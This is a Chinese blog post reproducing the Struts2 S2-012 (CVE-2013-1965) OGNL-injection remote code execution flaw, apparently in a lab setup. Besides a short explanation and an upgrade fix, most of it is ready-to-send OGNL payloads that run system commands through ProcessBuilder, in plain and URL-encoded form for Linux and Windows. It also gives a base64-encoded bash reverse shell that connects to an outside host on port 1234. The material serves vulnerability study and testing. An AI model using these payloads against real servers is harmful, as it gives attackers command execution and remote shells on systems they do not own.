首页 > 其他分享 >S2-012 CVE-2013-1965

S2-012 CVE-2013-1965

时间:2023-01-09 09:55:06浏览次数:68  
标签:lang java S2 28% getWriter 012 2C% new CVE

漏洞名称

S2-012(CVE-2013-1965) 远程代码执行

利用条件

Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2

影响版本:Struts 2.1.0-2.3.13

漏洞原理

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

漏洞利用

POC1

命令中空格需要用","代替比如 cat /etc/passwd 需要改成 cat","/etc/passwd,ls -l需要改成ls","-l

poc需要进行特殊字符url编码或者全编码

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image-20221230100722496

image-20221230100740076

image-20221230103900790

POC2

currentSkill.name=currentSkill.name=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[500],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&currentSkill.description=aaaa

image-20221230101613293

windows环境下命令

cmd.exe", "/c", "whoami
currentSkill.name=currentSkill.name=%25%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%22cmd.exe%22%2C%20%22%2fc%22%2C%20%22whoami%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D&currentSkill.description=aaaa

反弹shell

命令空格需要用","代替比如 cat /etc/passwd 需要改成  cat","/etc/passwd
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
bash","-c","{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
currentSkill.name=currentSkill.name=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[500],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&currentSkill.description=aaaa

image-20221230102445430

image-20221230102746969

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
特殊字符编码后发送

image-20221230103432484

image-20221230103502964

修复建议

升级到 Struts 2.3.14.3

参考文章

标签:lang,java,S2,28%,getWriter,012,2C%,new,CVE
From: https://www.cnblogs.com/crayonxiaoxin/p/17031356.html

相关文章

  • S2 - Lesson 16 - A polite request
    Wordsparkparkyourcarinthewrongplace. parkingsigns reminderremindthisnoteisonlyareminder failfailtodosth.failtoobeyit.theyfai......
  • Struts2系列漏洞复现汇总-持续更新中
    Struts2漏洞目录struts2漏洞S2-001(CVE-2007-4556)(已完成)struts2漏洞S2-003(已完成)struts2漏洞S2-005(已完成)struts2漏洞s2-007(已完成)struts2漏洞S2-008......
  • 【题解】P5666 [CSP-S2019] 树的重心
    感觉对重心的理解更直观了一点。题意求一棵树上删去每一条边后两侧子树重心的编号和。\(n\leq3\times10^5\)思路神奇的清真数论。首先这里有一步很妙的操作:把整......
  • 实验课程: SSM 实验名称: MyBatis2
    一.实验目的MyBatis框架下Dao层引入方式? 2.MyBatis框架下Service层引入方式?3.什么是代理模式? 4.MyBatis生命周期2的过程(最终)?5.项目代码二.实验......
  • 升级csproj文件为vs2017工程格式(SDK样式)
    csproj文件在VS2017后格式变更为SDK样式。framework项目如果需要源链接等等功能,需要进行手动升级。升级过程升级需要Project2015To2017Nuget包。>dotnettoolinstall......
  • 多路DO转4G远程报警控制器S274
    S27X内嵌工业级GSM/GPRS/3G/4G通信模块,集成稳定可靠的32位高性能微处理器MCU,基于UCOSII嵌入式实时操作系统,提供8路数字量输入,6路模拟量输入,4路继电器输出以及......
  • openssl 静态编译 win7+vs2010
    本文写于2013年1月,此时距离win7停止延长支持已经3年整了。1.所以我准备了虚拟机Win7,win7的iso下载地址:注册一个微软账号登录到 《登录到我的订阅》 visualstudio.m......
  • 4路开关量输入设备S274可短信电话告警
    本设备支持4路继电器输出,额定范围:5A/30VDC,5A/250VAC。既可以设置为权限号码呼入进行控制,也可以用短信远程控制,或者通过定时器、事件关联自动控制、或者远程通过监控中心......
  • S274可用于远程控制设备启停开关
    设备支持通过GPRS/3G/4G无线蜂窝网络接入互联网中的服务器或SCADA或云平台。ModbusRTUoverTCP协议,ModbusTCP协议、以及钡铼RTU协议。用户可以快速把设备接入到......
  • CVE-2007-4556 s2-001
    漏洞名称S2-001远程代码执行利用条件WebWork2.1(withaltSyntaxenabled),WebWork2.2.0-WebWork2.2.5,Struts2.0.0-Struts2.0.8不受影响的版本:WebWork2.......